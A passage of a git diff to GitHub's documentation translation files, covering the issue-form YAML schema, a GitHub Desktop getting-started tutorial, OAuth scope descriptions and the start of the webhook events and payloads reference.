conteúdo do wiki](/communities/documenting-your-project-with-wikis/editing-wiki-content)" -- "[Exibir histórico de alterações de um wiki](/articles/viewing-a-wiki-s-history-of-changes)" -- "[Pesquisar wikis](/search-github/searching-on-github/searching-wikis)" +- "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)" +- "[Creating a footer or sidebar for your wiki](/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki)" +- "[Editing wiki content](/communities/documenting-your-project-with-wikis/editing-wiki-content)" +- "[Viewing a wiki's history of changes](/articles/viewing-a-wiki-s-history-of-changes)" +- "[Searching wikis](/search-github/searching-on-github/searching-wikis)" diff --git a/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md b/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md new file mode 100644 index 0000000000..8f0f7625e6 --- /dev/null +++ b/translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md @@ -0,0 +1,265 @@ +--- +title: Syntax for GitHub's form schema +intro: 'You can use {% data variables.product.company_short %}''s form schema to configure forms for supported features.' +versions: + fpt: '*' + ghec: '*' +miniTocMaxHeadingLevel: 3 +topics: + - Community +--- + +{% note %} + +**Note:** {% data variables.product.company_short %}'s form schema is currently in beta and subject to change. + +{% endnote %} + +## About {% data variables.product.company_short %}'s form schema + +You can use {% data variables.product.company_short %}'s form schema to configure forms for supported features. For more information, see "[Configuring issue templates for your repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms)." + +A form is a set of elements for requesting user input. You can configure a form by creating a YAML form definition, which is an array of form elements. Each form element is a set of key-value pairs that determine the type of the element, the properties of the element, and the constraints you want to apply to the element. For some keys, the value is another set of key-value pairs. + +For example, the following form definition includes four form elements: a text area for providing the user's operating system, a dropdown menu for choosing the software version the user is running, a checkbox to acknowledge the Code of Conduct, and Markdown that thanks the user for completing the form. + +```yaml{:copy} +- type: textarea + attributes: + label: Operating System + description: What operating system are you using? + placeholder: Example: macOS Big Sur + value: operating system + validations: + required: true +- type: dropdown + attributes: + label: Version + description: What version of our software are you running? + multiple: false + options: + - label: 1.0.2 (Default) + - label: 1.0.3 (Edge) + validations: + required: true +- type: checkboxes + attributes: + label: Code of Conduct + description: The Code of Conduct helps create a safe space for everyone. We require + that everyone agrees to it. + options: + - label: I agree to follow this project's [Code of Conduct](link/to/coc) + required: true +- type: markdown + attributes: + value: "Thanks for completing our form!" +``` + +## Keys + +For each form element, you can set the following keys. + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `type` | The type of element that you want to define. | Required | String | {% octicon "dash" aria-label="The dash icon" %} |
                    • `checkboxes`
                    • `dropdown`
                    • `input`
                    • `markdown`
                    • `textarea`
                    | +| `id` | The identifier for the element, except when `type` is set to `markdown`. {% data reusables.form-schema.id-must-be-unique %} If provided, the `id` is the canonical identifier for the field in URL query parameter prefills. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `attributes` | A set of key-value pairs that define the properties of the element. | Required | Hash | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `validations` | A set of key-value pairs that set constraints on the element. | Optional | Hash | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +You can choose from the following types of form elements. Each type has unique attributes and validations. + +| Type | Description | +| ---- | ----------- | +| [`markdown`](#markdown) | Markdown text that is displayed in the form to provide extra context to the user, but is **not submitted**. | +| [`textarea`](#textarea) | A multi-line text field. | +| [`input`](#input) | A single-line text field. | +| [`dropdown`](#dropdown) | A dropdown menu. | +| [`checkboxes`](#checkboxes) | A set of checkboxes. | + +### `markdown` + +You can use a `markdown` element to display Markdown in your form that provides extra context to the user, but is not submitted. + +#### Attributes + +{% data reusables.form-schema.attributes-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `value` | The text that is rendered. Markdown formatting is supported. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +{% tip %} + +**Tips:** YAML processing will treat the hash symbol as a comment. To insert Markdown headers, wrap your text in quotes. + +For multi-line text, you can use the pipe operator. + +{% endtip %} + +#### Example + +```YAML{:copy} +body: +- type: markdown + value: "## Thank you for contributing to our project!" +- type: markdown + attributes: + value: | + Thanks for taking the time to fill out this bug report. +``` + +### `textarea` + +You can use a `textarea` element to add a multi-line text field to your form. Contributors can also attach files in `textarea` fields. + +#### Attributes + +{% data reusables.form-schema.attributes-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | A brief description of the expected user input, which is also displayed in the form. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | A description of the text area to provide context or guidance, which is displayed in the form. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} | +| `placeholder` | A semi-opaque placeholder that renders in the text area when empty. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} | +| `value` | Text that is pre-filled in the text area. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `render` | If a value is provided, submitted text will be formatted into a codeblock. When this key is provided, the text area will not expand for file attachments or Markdown editing. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | Languages known to {% data variables.product.prodname_dotcom %}. For more information, see [the languages YAML file](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). | + +#### Validations + +{% data reusables.form-schema.validations-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +{% data reusables.form-schema.required-key %} + +#### Example + +```YAML{:copy} +body: +- type: textarea + id: repro + attributes: + label: Reproduction steps + description: "How do you trigger this bug? Please walk us through it step by step." + value: | + 1. + 2. + 3. + ... + render: bash + validations: + required: true +``` + +### `input` + +You can use an `input` element to add a single-line text field to your form. + +#### Attributes + +{% data reusables.form-schema.attributes-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | A brief description of the expected user input, which is also displayed in the form. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | A description of the field to provide context or guidance, which is displayed in the form. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} | +| `placeholder` | A semi-transparent placeholder that renders in the field when empty. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} | +| `value` | Text that is pre-filled in the field. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +#### Validations + +{% data reusables.form-schema.validations-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +{% data reusables.form-schema.required-key %} + +#### Example + +```YAML{:copy} +body: +- type: input + id: prevalence + attributes: + label: Bug prevalence + description: "How often do you or others encounter this bug?" + placeholder: "Example: Whenever I visit the user account page (1-2 times a week)" + validations: + required: true +``` + +### `dropdown` + +You can use a `dropdown` element to add a dropdown menu in your form. + +#### Attributes + +{% data reusables.form-schema.attributes-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | A brief description of the expected user input, which is displayed in the form. | Required | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | A description of the dropdown to provide extra context or guidance, which is displayed in the form. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} | +| `multiple` | Determines if the user can select more than one option. | Optional | Boolean | false | {% octicon "dash" aria-label="The dash icon" %} | +| `options` | An array of options the user can choose from. Cannot be empty and all choices must be distinct. | Required | String array | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +#### Validations + +{% data reusables.form-schema.validations-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +{% data reusables.form-schema.required-key %} + +#### Example + +```YAML{:copy} +body: +- type: dropdown + id: download + attributes: + label: How did you download the software? + options: + - Homebrew + - MacPorts + - apt-get + - Built from source + validations: + required: true +``` + +### `checkboxes` + +You can use the `checkboxes` element to add a set of checkboxes to your form. + +#### Attributes + +{% data reusables.form-schema.attributes-intro %} + +| Key | Description | Required | Type | Default | Valid values | +| --- | ----------- | -------- | ---- | ------- | ------- | +| `label` | A brief description of the expected user input, which is displayed in the form. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | +| `description` | A description of the set of checkboxes, which is displayed in the form. Supports Markdown formatting. | Optional | String | Empty String | {% octicon "dash" aria-label="The dash icon" %} | +| `options` | An array of checkboxes that the user can select. For syntax, see below. | Required | Array | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} | + +{% data reusables.form-schema.options-syntax %} +{% data reusables.form-schema.required-key %} + +#### Example + +```YAML{:copy} +body: +- type: checkboxes + id: operating-systems + attributes: + label: Which operating systems have you used? + description: You may select more than one. + options: + - label: macOS + - label: Windows + - label: Linux +``` + +## Further reading + +- [YAML](https://yaml.org) diff --git a/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md b/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md new file mode 100644 index 0000000000..d22489d472 --- /dev/null +++ b/translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md @@ -0,0 +1,112 @@ +--- +title: Creating your first repository using GitHub Desktop +shortTitle: Creating your first repository +intro: 'You can use {% data variables.product.prodname_desktop %} to create and manage a Git repository without using the command line.' +redirect_from: + - /desktop/getting-started-with-github-desktop/creating-your-first-repository-using-github-desktop + - /desktop/installing-and-configuring-github-desktop/creating-your-first-repository-using-github-desktop +versions: + fpt: '*' +--- +## Introduction +{% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. By the end of this guide, you'll have used {% data variables.product.prodname_desktop %} to create a repository, make changes to the repository, and publish the changes to {% data variables.product.product_name %}. + +After installing {% data variables.product.prodname_desktop %} and signing into {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} you can create and clone a tutorial repository. The tutorial will introduce the basics of working with Git and {% data variables.product.prodname_dotcom %}, including installing a text editor, creating a branch, making a commit, pushing to {% data variables.product.prodname_dotcom_the_website %}, and opening a pull request. The tutorial is available if you do not have any repositories on {% data variables.product.prodname_desktop %} yet. + +We recommend completing the tutorial, but if you want to explore {% data variables.product.prodname_desktop %} by creating a new repository, this guide will walk you through using {% data variables.product.prodname_desktop %} to work on a Git repository. + +## Part 1: Installing {% data variables.product.prodname_desktop %} and authenticating your account +You can install {% data variables.product.prodname_desktop %} on any supported operating system. After you install the app, you will need to sign in and authenticate your account on {% data variables.product.prodname_dotcom %} or {% data variables.product.prodname_enterprise %} before you can create and clone a tutorial repository. + +For more information on installing and authenticating, see "[Setting up {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-up-github-desktop)." + +## Part 2: Creating a new repository +If you do not have any repositories associated with {% data variables.product.prodname_desktop %}, you will see a "Let's get started!" view, where you can choose to create and clone a tutorial repository, clone an existing repository from the Internet, create a new repository, or add an existing repository from your hard drive. + ![The Let's get started! screen](/assets/images/help/desktop/lets-get-started.png) + +### Creating and cloning a tutorial repository +We recommend that you create and clone a tutorial repository as your first project to practice using {% data variables.product.prodname_desktop %}. + +1. Click **Create a tutorial repository and clone it**. + ![Create and clone a tutorial repository button](/assets/images/help/desktop/getting-started-guide/create-and-clone-a-tutorial-repository.png) +2. Follow the prompts in the tutorial to install a text editor, create a branch, edit a file, make a commit, publish to {% data variables.product.prodname_dotcom %}, and open a pull request. + +### Creating a new repository +If you do not wish to create and clone a tutorial repository, you can create a new repository. + +1. Click **Create a New Repository on your Hard Drive...**. + ![Create a new repository](/assets/images/help/desktop/getting-started-guide/creating-a-repository.png) +2. Fill in the fields and select your preferred options. + ![Create a repository options](/assets/images/help/desktop/getting-started-guide/create-a-new-repository-options.png) + - "Name" defines the name of your repository both locally and on {% data variables.product.product_name %}. + - "Description" is an optional field that you can use to provide more information about the purpose of your repository. + - "Local path" sets the location of your repository on your computer. By default, {% data variables.product.prodname_desktop %} creates a _GitHub_ folder inside your _Documents_ folder to store your repositories, but you can choose any location on your computer. Your new repository will be a folder inside the chosen location. For example, if you name your repository `Tutorial`, a folder named _Tutorial_ is created inside the folder you selected for your local path. {% data variables.product.prodname_desktop %} remembers your chosen location the next time you create or clone a new repository. + - **Initialize this repository with a README** creates an initial commit with a _README.md_ file. READMEs helps people understand the purpose of your project, so we recommend selecting this and filling it out with helpful information. When someone visits your repository on {% data variables.product.product_name %}, the README is the first thing they'll see as they learn about your project. For more information, see "[About READMEs](/articles/about-readmes)." + - The **Git ignore** drop-down menu lets you add a custom file to ignore specific files in your local repository that you don't want to store in version control. If there's a specific language or framework that you'll be using, you can select an option from the available list. If you're just getting started, feel free to skip this selection. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)." + - The **License** drop-down menu lets you add an open-source license to a _LICENSE_ file in your repository. You don't need to worry about adding a license right away. For more information about available open-source licenses and how to add them to your repository, see "[Licensing a repository](/articles/licensing-a-repository)." +3. Click **Create repository**. + +## Part 3: Exploring {% data variables.product.prodname_desktop %} +In the file menu at the top of the screen, you can access settings and actions that you can perform in {% data variables.product.prodname_desktop %}. Most actions also have keyboard shortcuts to help you work more efficiently. For a full list of keyboard shortcuts, see "[Keyboard shortcuts](/desktop/getting-started-with-github-desktop/keyboard-shortcuts)." + +### The {% data variables.product.prodname_desktop %} menu bar +At the top of the {% data variables.product.prodname_desktop %} app, you will see a bar that shows the current state of your repository. + - **Current repository** shows the name of the repository you're working on. You can click **Current repository** to switch to a different repository in {% data variables.product.prodname_desktop %}. + - **Current branch** shows the name of the branch you're working on. You can click **Current branch** to view all the branches in your repository, switch to a different branch, or create a new branch. Once you create pull requests in your repository, you can also view these by clicking on **Current branch**. + - **Publish repository** appears because you haven't published your repository to {% data variables.product.product_name %} yet, which you'll do later in the next step. This section of the bar will change based on the status of your current branch and repository. Different context dependent actions will be available that let you exchange data between your local and remote repositories. + + ![Explore GitHub Desktop](/assets/images/help/desktop/getting-started-guide/explore-github-desktop.png) + +### Changes and History +In the left sidebar, you'll find the **Changes** and **History** views. + ![The Changes and History tabs](/assets/images/help/desktop/changes-and-history.png) + + - The **Changes** view shows changes you've made to files in your current branch but haven't committed to your local repository. At the bottom, there is a box with "Summary" and "Description" text boxes and a **Commit to BRANCH** button. This is where you'll commit new changes. The **Commit to BRANCH** button is dynamic and will display which branch you're committing your changes to. + ![Commit area](/assets/images/help/desktop/getting-started-guide/commit-area.png) + + - The **History** view shows the previous commits on the current branch of your repository. You should see an "Initial commit" that was created by {% data variables.product.prodname_desktop %} when you created your repository. To the right of the commit, depending on the options you selected while creating your repository, you may see _.gitattributes_, _.gitignore_, _LICENSE_, or _README_ files. You can click each file to see a diff for that file, which is the changes made to the file in that commit. The diff only shows the parts of the file that have changed, not the entire contents of the file. + ![History view](/assets/images/help/desktop/getting-started-guide/history-view.png) + +## Part 4: Publishing your repository to {% data variables.product.product_name %} +When you create a new repository, it only exists on your computer and you are the only one who can access the repository. You can publish your repository to {% data variables.product.product_name %} to keep it synchronized across multiple computers and allow other people to access it. To publish your repository, push your local changes to {% data variables.product.product_name %}. + +1. Click **Publish repository** in the menu bar. + ![Publish repository](/assets/images/help/desktop/getting-started-guide/publish-repository.png) + - {% data variables.product.prodname_desktop %} automatically fills the "Name" and "Description" fields with the information you entered when you created the repository. + - **Keep this code private** lets you control who can view your project. If you leave this option unselected, other users on {% data variables.product.product_name %} will be able to view your code. If you select this option, your code will not be publicly available. + - The **Organization** drop-down menu, if present, lets you publish your repository to a specific organization that you belong to on {% data variables.product.product_name %}. + + ![Publish repository steps](/assets/images/help/desktop/getting-started-guide/publish-repository-steps.png) + 2. Click the **Publish Repository** button. + 3. You can access the repository on {% data variables.product.prodname_dotcom_the_website %} from within {% data variables.product.prodname_desktop %}. In the file menu, click **Repository**, then click **View on GitHub**. This will take you directly to the repository in your default browser. + +## Part 5: Making, committing, and pushing changes +Now that you've created and published your repository, you're ready to make changes to your project and start crafting your first commit to your repository. + +1. To launch your external editor from within {% data variables.product.prodname_desktop %}, click **Repository**, then click **Open in EDITOR**. For more information, see "[Configuring a default editor](/desktop/getting-started-with-github-desktop/configuring-a-default-editor)." + ![Open in editor](/assets/images/help/desktop/getting-started-guide/open-in-editor.png) + +2. Make some changes to the _README.md_ file that you previously created. You can add information that describes your project, like what it does and why it is useful. When you are satisfied with your changes, save them in your text editor. +3. In {% data variables.product.prodname_desktop %}, navigate to the **Changes** view. In the file list, you should see your _README.md_. The checkmark to the left of the _README.md_ file indicates that the changes you've made to the file will be part of the commit you make. In the future, you might make changes to multiple files but only want to commit the changes you've made to some of the files. If you click the checkmark next to a file, that file will not be included in the commit. + ![Viewing changes](/assets/images/help/desktop/getting-started-guide/viewing-changes.png) + +4. At the bottom of the **Changes** list, enter a commit message. To the right of your profile picture, type a short description of the commit. Since we're changing the _README.md_ file, "Add information about purpose of project" would be a good commit summary. Below the summary, you'll see a "Description" text field where you can type a longer description of the changes in the commit, which is helpful when looking back at the history of a project and understanding why changes were made. Since you're making a basic update of a _README.md_ file, you can skip the description. + ![Commit message](/assets/images/help/desktop/getting-started-guide/commit-message.png) +5. Click **Commit to BRANCH NAME**. The commit button shows your current branch so you can be sure to commit to the branch you want. + ![Commit to branch](/assets/images/help/desktop/getting-started-guide/click-commit-to-master.png) +6. To push your changes to the remote repository on {% data variables.product.product_name %}, click **Push origin**. + ![Push origin](/assets/images/help/desktop/getting-started-guide/push-to-origin.png) + - The **Push origin** button is the same one that you clicked to publish your repository to {% data variables.product.product_name %}. This button changes contextually based on where you are at in the Git workflow. It should now say `Push origin` with a `1` next to it, indicating that there is one commit that has not been pushed up to {% data variables.product.product_name %}. + - The "origin" in **Push origin** means that you are pushing changes to the remote called `origin`, which in this case is your project's repository on {% data variables.product.prodname_dotcom_the_website %}. Until you push any new commits to {% data variables.product.product_name %}, there will be differences between your project's repository on your computer and your project's repository on {% data variables.product.prodname_dotcom_the_website %}. This allows you to work locally and only push your changes to {% data variables.product.prodname_dotcom_the_website %} when you're ready. +7. In the window to the right of the **Changes** view, you'll see suggestions for actions you can do next. To open the repository on {% data variables.product.product_name %} in your browser, click **View on {% data variables.product.product_name %}**. + ![Available actions](/assets/images/help/desktop/available-actions.png) +8. In your browser, click **2 commits**. You'll see a list of the commits in this repository on {% data variables.product.product_name %}. The first commit should be the commit you just made in {% data variables.product.prodname_desktop %}. + ![Click two commits](/assets/images/help/desktop/getting-started-guide/click-two-commits.png) + +## Conclusion +You've now created a repository, published the repository to {% data variables.product.product_name %}, made a commit, and pushed your changes to {% data variables.product.product_name %}. You can follow this same workflow when contributing to other projects that you create or collaborate on. + +## Further reading +- "[Getting started with Git](/github/getting-started-with-github/getting-started-with-git)" +- "[Learning about {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/learning-about-github)" +- "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)" diff --git a/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md b/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md index 440811b7ab..3dc9de0fb9 100644 --- a/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md +++ b/translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md @@ -43,15 +43,15 @@ Name | Description **`(no scope)`** | Grants read-only access to public information (including user profile info, repository info, and gists){% endif %}{% ifversion ghes or ghae %} **`site_admin`** | Grants site administrators access to [{% data variables.product.prodname_ghe_server %} Administration API endpoints](/rest/reference/enterprise-admin).{% endif %} **`repo`** | Grants full access to repositories, including private repositories. That includes read/write access to code, commit statuses, repository and organization projects, invitations, collaborators, adding team memberships, deployment statuses, and repository webhooks for repositories and organizations. Also grants ability to manage user projects. - `repo:status`| Grants read/write access to {% ifversion not ghae %}public{% else %}internal{% endif %} and private repository commit statuses. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code. + `repo:status`| Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. This scope is only necessary to grant other users or services access to private repository commit statuses *without* granting access to the code.  `repo_deployment`| Grants access to [deployment statuses](/rest/reference/repos#deployments) for {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. This scope is only necessary to grant other users or services access to deployment statuses, *without* granting access to the code.{% ifversion not ghae %}  `public_repo`| Limits access to public repositories. That includes read/write access to code, commit statuses, repository projects, collaborators, and deployment statuses for public repositories and organizations. Also required for starring public repositories.{% endif %}  `repo:invite` | Grants accept/decline abilities for invitations to collaborate on a repository. This scope is only necessary to grant other users or services access to invites *without* granting access to the code.{% ifversion fpt or ghes > 3.0 or ghec %}  `security_events` | Grants:
                    read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)
                    read and write access to security events in the [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)
                    This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %}{% ifversion ghes < 3.1 %}  `security_events` | Grants read and write access to security events in the [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning). This scope is only necessary to grant other users or services access to security events *without* granting access to the code.{% endif %} -**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories. The `repo` {% ifversion not ghae %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. - `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion not ghae %}public{% else %}internal{% endif %} or private repositories. - `read:repo_hook`| Grants read and ping access to hooks in {% ifversion not ghae %}public{% else %}internal{% endif %} or private repositories. +**`admin:repo_hook`** | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. Use the `admin:repo_hook` scope to limit access to only repository hooks. + `write:repo_hook` | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. + `read:repo_hook`| Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. **`admin:org`** | Fully manage the organization and its teams, projects, and memberships.  `write:org`| Read and write access to organization membership, organization projects, and team membership.  `read:org`| Read-only access to organization membership, organization projects, and team membership. diff --git a/translations/pt-BR/content/developers/overview/managing-deploy-keys.md b/translations/pt-BR/content/developers/overview/managing-deploy-keys.md index 3fb0226641..b651619a2c 100644 --- a/translations/pt-BR/content/developers/overview/managing-deploy-keys.md +++ b/translations/pt-BR/content/developers/overview/managing-deploy-keys.md @@ -185,3 +185,7 @@ This means that you cannot automate the creation of accounts. But if you want to [collaborator]: /articles/inviting-collaborators-to-a-personal-repository [outside-collaborator]: /articles/adding-outside-collaborators-to-repositories-in-your-organization [team]: /articles/adding-organization-members-to-a-team + +## Further reading +- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options) + diff --git a/translations/pt-BR/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/translations/pt-BR/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md new file mode 100644 index 0000000000..94a5669481 --- /dev/null +++ b/translations/pt-BR/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md @@ -0,0 +1,1443 @@ +--- +title: Webhook events and payloads +intro: 'For each webhook event, you can review when the event occurs, an example payload, and descriptions about the payload object parameters.' +product: '{% data reusables.gated-features.enterprise_account_webhooks %}' +redirect_from: + - /early-access/integrations/webhooks/ + - /v3/activity/events/types/ + - /webhooks/event-payloads + - /developers/webhooks-and-events/webhook-events-and-payloads +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Webhooks +shortTitle: Webhook events & payloads +--- +{% ifversion fpt or ghec %} + +{% endif %} + +{% data reusables.webhooks.webhooks_intro %} + +You can create webhooks that subscribe to the events listed on this page. Each webhook event includes a description of the webhook properties and an example payload. For more information, see "[Creating webhooks](/webhooks/creating/)." + +## Webhook payload object common properties + +Each webhook event payload also contains properties unique to the event. You can find the unique properties in the individual event type sections. + +Key | Type | Description +----|------|------------- +`action` | `string` | Most webhook payloads contain an `action` property that contains the specific activity that triggered the event. +{% data reusables.webhooks.sender_desc %} This property is included in every webhook payload. +{% data reusables.webhooks.repo_desc %} Webhook payloads contain the `repository` property when the event occurs from activity in a repository. +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.app_desc %} For more information, see "[Building {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)." + +The unique properties for a webhook event are the same properties you'll find in the `payload` property when using the [Events API](/rest/reference/activity#events). One exception is the [`push` event](#push). The unique properties of the `push` event webhook payload and the `payload` property in the Events API differ. The webhook payload contains more detailed information. + +{% tip %} + +**Note:** Payloads are capped at 25 MB. If your event generates a larger payload, a webhook will not be fired. This may happen, for example, on a `create` event if many branches or tags are pushed at once. We suggest monitoring your payload size to ensure delivery. + +{% endtip %} + +### Delivery headers + +HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers: + +Header | Description +-------|-------------| +`X-GitHub-Event`| Name of the event that triggered the delivery. +`X-GitHub-Delivery`| A [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) to identify the delivery.{% ifversion ghes or ghae %} +`X-GitHub-Enterprise-Version` | The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload. +`X-GitHub-Enterprise-Host` | The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %}{% ifversion not ghae %} +`X-Hub-Signature`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %} +`X-Hub-Signature-256`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`. + +Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`. + +### Example delivery + +```shell +> POST /payload HTTP/2 + +> Host: localhost:4567 +> X-GitHub-Delivery: 72d3162e-cc78-11e3-81ab-4c9367dc0958{% ifversion ghes or ghae %} +> X-GitHub-Enterprise-Version: 2.15.0 +> X-GitHub-Enterprise-Host: example.com{% endif %}{% ifversion not ghae %} +> X-Hub-Signature: sha1=7d38cdd689735b008b3c702edd92eea23791c5f6{% endif %} +> X-Hub-Signature-256: sha256=d57c68ca6f92289e6987922ff26938930f6e66a2d161ef06abdf1859230aa23c +> User-Agent: GitHub-Hookshot/044aadd +> Content-Type: application/json +> Content-Length: 6615 +> X-GitHub-Event: issues + +> { +> "action": "opened", +> "issue": { +> "url": "{% data variables.product.api_url_pre %}/repos/octocat/Hello-World/issues/1347", +> "number": 1347, +> ... +> }, +> "repository" : { +> "id": 1296269, +> "full_name": "octocat/Hello-World", +> "owner": { +> "login": "octocat", +> "id": 1, +> ... +> }, +> ... +> }, +> "sender": { +> "login": "octocat", +> "id": 1, +> ... +> } +> } +``` + +{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +## branch_protection_rule + +Activity related to a branch protection rule. For more information, see "[About branch protection rules](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)." + +### Availability + +- Repository webhooks +- Organization webhooks +- {% data variables.product.prodname_github_apps %} with at least `read-only` access on repositories administration + +### Webhook payload object + +Key | Type | Description +----|------|------------- +`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`. +`rule` | `object` | The branch protection rule. Includes a `name` and all the [branch protection settings](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings) applied to branches that match the name. Binary settings are boolean. Multi-level configurations are one of `off`, `non_admins`, or `everyone`. Actor and build lists are arrays of strings. +`changes` | `object` | If the action was `edited`, the changes to the rule. +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.sender_desc %} + +### Webhook payload example + +{{ webhookPayloadsForCurrentVersion.branch_protection_rule.edited }} +{% endif %} +## check_run + +{% data reusables.webhooks.check_run_short_desc %} + +{% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %} + +### Availability + +- Repository webhooks only receive payloads for the `created` and `completed` event types in a repository +- Organization webhooks only receive payloads for the `created` and `completed` event types in repositories +- {% data 